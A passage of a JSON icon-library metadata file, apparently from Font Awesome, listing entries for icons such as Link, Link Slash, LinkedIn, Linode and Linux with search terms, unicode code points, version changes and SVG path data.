        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M311 196.8v81.3c0 2.1-1.6 3.7-3.7 3.7h-13c-1.3 0-2.4-.7-3-1.5l-37.3-50.3v48.2c0 2.1-1.6 3.7-3.7 3.7h-13c-2.1 0-3.7-1.6-3.7-3.7V196.9c0-2.1 1.6-3.7 3.7-3.7h12.9c1.1 0 2.4 .6 3 1.6l37.3 50.3V196.9c0-2.1 1.6-3.7 3.7-3.7h13c2.1-.1 3.8 1.6 3.8 3.5zm-93.7-3.7h-13c-2.1 0-3.7 1.6-3.7 3.7v81.3c0 2.1 1.6 3.7 3.7 3.7h13c2.1 0 3.7-1.6 3.7-3.7V196.8c0-1.9-1.6-3.7-3.7-3.7zm-31.4 68.1H150.3V196.8c0-2.1-1.6-3.7-3.7-3.7h-13c-2.1 0-3.7 1.6-3.7 3.7v81.3c0 1 .3 1.8 1 2.5c.7 .6 1.5 1 2.5 1h52.2c2.1 0 3.7-1.6 3.7-3.7v-13c0-1.9-1.6-3.7-3.5-3.7zm193.7-68.1H327.3c-1.9 0-3.7 1.6-3.7 3.7v81.3c0 1.9 1.6 3.7 3.7 3.7h52.2c2.1 0 3.7-1.6 3.7-3.7V265c0-2.1-1.6-3.7-3.7-3.7H344V247.7h35.5c2.1 0 3.7-1.6 3.7-3.7V230.9c0-2.1-1.6-3.7-3.7-3.7H344V213.5h35.5c2.1 0 3.7-1.6 3.7-3.7v-13c-.1-1.9-1.7-3.7-3.7-3.7zM512 93.4V419.4c-.1 51.2-42.1 92.7-93.4 92.6H92.6C41.4 511.9-.1 469.8 0 418.6V92.6C.1 41.4 42.2-.1 93.4 0H419.4c51.2 .1 92.7 42.1 92.6 93.4zM441.6 233.5c0-83.4-83.7-151.3-186.4-151.3s-186.4 67.9-186.4 151.3c0 74.7 66.3 137.4 155.9 149.3c21.8 4.7 19.3 12.7 14.4 42.1c-.8 4.7-3.8 18.4 16.1 10.1s107.3-63.2 146.5-108.2c27-29.7 39.9-59.8 39.9-93.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M311 196.8v81.3c0 2.1-1.6 3.7-3.7 3.7h-13c-1.3 0-2.4-.7-3-1.5l-37.3-50.3v48.2c0 2.1-1.6 3.7-3.7 3.7h-13c-2.1 0-3.7-1.6-3.7-3.7V196.9c0-2.1 1.6-3.7 3.7-3.7h12.9c1.1 0 2.4 .6 3 1.6l37.3 50.3V196.9c0-2.1 1.6-3.7 3.7-3.7h13c2.1-.1 3.8 1.6 3.8 3.5zm-93.7-3.7h-13c-2.1 0-3.7 1.6-3.7 3.7v81.3c0 2.1 1.6 3.7 3.7 3.7h13c2.1 0 3.7-1.6 3.7-3.7V196.8c0-1.9-1.6-3.7-3.7-3.7zm-31.4 68.1H150.3V196.8c0-2.1-1.6-3.7-3.7-3.7h-13c-2.1 0-3.7 1.6-3.7 3.7v81.3c0 1 .3 1.8 1 2.5c.7 .6 1.5 1 2.5 1h52.2c2.1 0 3.7-1.6 3.7-3.7v-13c0-1.9-1.6-3.7-3.5-3.7zm193.7-68.1H327.3c-1.9 0-3.7 1.6-3.7 3.7v81.3c0 1.9 1.6 3.7 3.7 3.7h52.2c2.1 0 3.7-1.6 3.7-3.7V265c0-2.1-1.6-3.7-3.7-3.7H344V247.7h35.5c2.1 0 3.7-1.6 3.7-3.7V230.9c0-2.1-1.6-3.7-3.7-3.7H344V213.5h35.5c2.1 0 3.7-1.6 3.7-3.7v-13c-.1-1.9-1.7-3.7-3.7-3.7zM512 93.4V419.4c-.1 51.2-42.1 92.7-93.4 92.6H92.6C41.4 511.9-.1 469.8 0 418.6V92.6C.1 41.4 42.2-.1 93.4 0H419.4c51.2 .1 92.7 42.1 92.6 93.4zM441.6 233.5c0-83.4-83.7-151.3-186.4-151.3s-186.4 67.9-186.4 151.3c0 74.7 66.3 137.4 155.9 149.3c21.8 4.7 19.3 12.7 14.4 42.1c-.8 4.7-3.8 18.4 16.1 10.1s107.3-63.2 146.5-108.2c27-29.7 39.9-59.8 39.9-93.1z"
      }
    },
    "free": ["brands"]
  },
  "lines-leaning": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "canted",
        "domino",
        "falling",
        "resilience",
        "resilient",
        "tipped"
      ]
    },
    "styles": ["solid"],
    "unicode": "e51e",
    "label": "Lines Leaning",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M190.4 74.1c5.6-16.8-3.5-34.9-20.2-40.5s-34.9 3.5-40.5 20.2l-128 384c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l128-384zm70.9-41.7c-17.4-2.9-33.9 8.9-36.8 26.3l-64 384c-2.9 17.4 8.9 33.9 26.3 36.8s33.9-8.9 36.8-26.3l64-384c2.9-17.4-8.9-33.9-26.3-36.8zM352 32c-17.7 0-32 14.3-32 32V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M190.4 74.1c5.6-16.8-3.5-34.9-20.2-40.5s-34.9 3.5-40.5 20.2l-128 384c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l128-384zm70.9-41.7c-17.4-2.9-33.9 8.9-36.8 26.3l-64 384c-2.9 17.4 8.9 33.9 26.3 36.8s33.9-8.9 36.8-26.3l64-384c2.9-17.4-8.9-33.9-26.3-36.8zM352 32c-17.7 0-32 14.3-32 32V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32z"
      }
    },
    "free": ["solid"]
  },
  "link": {
    "aliases": {
      "names": ["chain"],
      "unicodes": {
        "composite": ["1f517"],
        "secondary": ["10f0c1"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["attach", "attachment", "chain", "connect", "lin", "link"]
    },
    "styles": ["solid"],
    "unicode": "f0c1",
    "label": "Link",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M579.8 267.7c56.5-56.5 56.5-148 0-204.5c-50-50-128.8-56.5-186.3-15.4l-1.6 1.1c-14.4 10.3-17.7 30.3-7.4 44.6s30.3 17.7 44.6 7.4l1.6-1.1c32.1-22.9 76-19.3 103.8 8.6c31.5 31.5 31.5 82.5 0 114L422.3 334.8c-31.5 31.5-82.5 31.5-114 0c-27.9-27.9-31.5-71.8-8.6-103.8l1.1-1.6c10.3-14.4 6.9-34.4-7.4-44.6s-34.4-6.9-44.6 7.4l-1.1 1.6C206.5 251.2 213 330 263 380c56.5 56.5 148 56.5 204.5 0L579.8 267.7zM60.2 244.3c-56.5 56.5-56.5 148 0 204.5c50 50 128.8 56.5 186.3 15.4l1.6-1.1c14.4-10.3 17.7-30.3 7.4-44.6s-30.3-17.7-44.6-7.4l-1.6 1.1c-32.1 22.9-76 19.3-103.8-8.6C74 372 74 321 105.5 289.5L217.7 177.2c31.5-31.5 82.5-31.5 114 0c27.9 27.9 31.5 71.8 8.6 103.9l-1.1 1.6c-10.3 14.4-6.9 34.4 7.4 44.6s34.4 6.9 44.6-7.4l1.1-1.6C433.5 260.8 427 182 377 132c-56.5-56.5-148-56.5-204.5 0L60.2 244.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M579.8 267.7c56.5-56.5 56.5-148 0-204.5c-50-50-128.8-56.5-186.3-15.4l-1.6 1.1c-14.4 10.3-17.7 30.3-7.4 44.6s30.3 17.7 44.6 7.4l1.6-1.1c32.1-22.9 76-19.3 103.8 8.6c31.5 31.5 31.5 82.5 0 114L422.3 334.8c-31.5 31.5-82.5 31.5-114 0c-27.9-27.9-31.5-71.8-8.6-103.8l1.1-1.6c10.3-14.4 6.9-34.4-7.4-44.6s-34.4-6.9-44.6 7.4l-1.1 1.6C206.5 251.2 213 330 263 380c56.5 56.5 148 56.5 204.5 0L579.8 267.7zM60.2 244.3c-56.5 56.5-56.5 148 0 204.5c50 50 128.8 56.5 186.3 15.4l1.6-1.1c14.4-10.3 17.7-30.3 7.4-44.6s-30.3-17.7-44.6-7.4l-1.6 1.1c-32.1 22.9-76 19.3-103.8-8.6C74 372 74 321 105.5 289.5L217.7 177.2c31.5-31.5 82.5-31.5 114 0c27.9 27.9 31.5 71.8 8.6 103.9l-1.1 1.6c-10.3 14.4-6.9 34.4 7.4 44.6s34.4 6.9 44.6-7.4l1.1-1.6C433.5 260.8 427 182 377 132c-56.5-56.5-148-56.5-204.5 0L60.2 244.3z"
      }
    },
    "free": ["solid"]
  },
  "link-slash": {
    "aliases": {
      "names": ["chain-broken", "chain-slash", "unlink"],
      "unicodes": {
        "secondary": ["10f127"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["attachment", "chain", "chain-broken", "remove"]
    },
    "styles": ["solid"],
    "unicode": "f127",
    "label": "Link Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L489.3 358.2l90.5-90.5c56.5-56.5 56.5-148 0-204.5c-50-50-128.8-56.5-186.3-15.4l-1.6 1.1c-14.4 10.3-17.7 30.3-7.4 44.6s30.3 17.7 44.6 7.4l1.6-1.1c32.1-22.9 76-19.3 103.8 8.6c31.5 31.5 31.5 82.5 0 114l-96 96-31.9-25C430.9 239.6 420.1 175.1 377 132c-52.2-52.3-134.5-56.2-191.3-11.7L38.8 5.1zM239 162c30.1-14.9 67.7-9.9 92.8 15.3c20 20 27.5 48.3 21.7 74.5L239 162zM406.6 416.4L220.9 270c-2.1 39.8 12.2 80.1 42.2 110c38.9 38.9 94.4 51 143.6 36.3zm-290-228.5L60.2 244.3c-56.5 56.5-56.5 148 0 204.5c50 50 128.8 56.5 186.3 15.4l1.6-1.1c14.4-10.3 17.7-30.3 7.4-44.6s-30.3-17.7-44.6-7.4l-1.6 1.1c-32.1 22.9-76 19.3-103.8-8.6C74 372 74 321 105.5 289.5l61.8-61.8-50.6-39.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L489.3 358.2l90.5-90.5c56.5-56.5 56.5-148 0-204.5c-50-50-128.8-56.5-186.3-15.4l-1.6 1.1c-14.4 10.3-17.7 30.3-7.4 44.6s30.3 17.7 44.6 7.4l1.6-1.1c32.1-22.9 76-19.3 103.8 8.6c31.5 31.5 31.5 82.5 0 114l-96 96-31.9-25C430.9 239.6 420.1 175.1 377 132c-52.2-52.3-134.5-56.2-191.3-11.7L38.8 5.1zM239 162c30.1-14.9 67.7-9.9 92.8 15.3c20 20 27.5 48.3 21.7 74.5L239 162zM406.6 416.4L220.9 270c-2.1 39.8 12.2 80.1 42.2 110c38.9 38.9 94.4 51 143.6 36.3zm-290-228.5L60.2 244.3c-56.5 56.5-56.5 148 0 204.5c50 50 128.8 56.5 186.3 15.4l1.6-1.1c14.4-10.3 17.7-30.3 7.4-44.6s-30.3-17.7-44.6-7.4l-1.6 1.1c-32.1 22.9-76 19.3-103.8-8.6C74 372 74 321 105.5 289.5l61.8-61.8-50.6-39.9z"
      }
    },
    "free": ["solid"]
  },
  "linkedin": {
    "changes": ["1.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["linkedin-square"]
    },
    "styles": ["brands"],
    "unicode": "f08c",
    "label": "LinkedIn",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z"
      }
    },
    "free": ["brands"]
  },
  "linkedin-in": {
    "changes": ["2.0.0", "5.0.0", "5.4.1", "5.8.0", "5.8.1"],
    "ligatures": [],
    "search": {
      "terms": ["linkedin"]
    },
    "styles": ["brands"],
    "unicode": "f0e1",
    "label": "LinkedIn In",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z"
      }
    },
    "free": ["brands"]
  },
  "linode": {
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2b8",
    "label": "Linode",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M366.036,186.867l-59.5,36.871-.838,36.871-29.329-19.273-39.384,24.3c2.238,55.211,2.483,59.271,2.51,59.5l-97.2,65.359L127.214,285.748l108.1-62.01L195.09,197.761l-75.417,38.547L98.723,93.015,227.771,43.574,136.432,0,10.737,39.385,38.39,174.3l41.9,32.681L48.445,222.062,69.394,323.457,98.723,351.11,77.774,363.679l16.76,78.769L160.733,512c-10.8-74.842-11.658-78.641-11.725-78.773l77.925-55.3c16.759-12.57,15.083-10.894,15.083-10.894l.838,24.3,33.519,28.491-.838-77.093,46.927-33.519,26.815-18.435-2.514,36.033,25.139,17.6,6.7-74.579,58.657-43.575Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M366.036,186.867l-59.5,36.871-.838,36.871-29.329-19.273-39.384,24.3c2.238,55.211,2.483,59.271,2.51,59.5l-97.2,65.359L127.214,285.748l108.1-62.01L195.09,197.761l-75.417,38.547L98.723,93.015,227.771,43.574,136.432,0,10.737,39.385,38.39,174.3l41.9,32.681L48.445,222.062,69.394,323.457,98.723,351.11,77.774,363.679l16.76,78.769L160.733,512c-10.8-74.842-11.658-78.641-11.725-78.773l77.925-55.3c16.759-12.57,15.083-10.894,15.083-10.894l.838,24.3,33.519,28.491-.838-77.093,46.927-33.519,26.815-18.435-2.514,36.033,25.139,17.6,6.7-74.579,58.657-43.575Z"
      }
    },
    "free": ["brands"]
  },
  "linux": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["tux"]
    },
    "styles": ["brands"],
    "unicode": "f17c",
    "label": "Linux",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 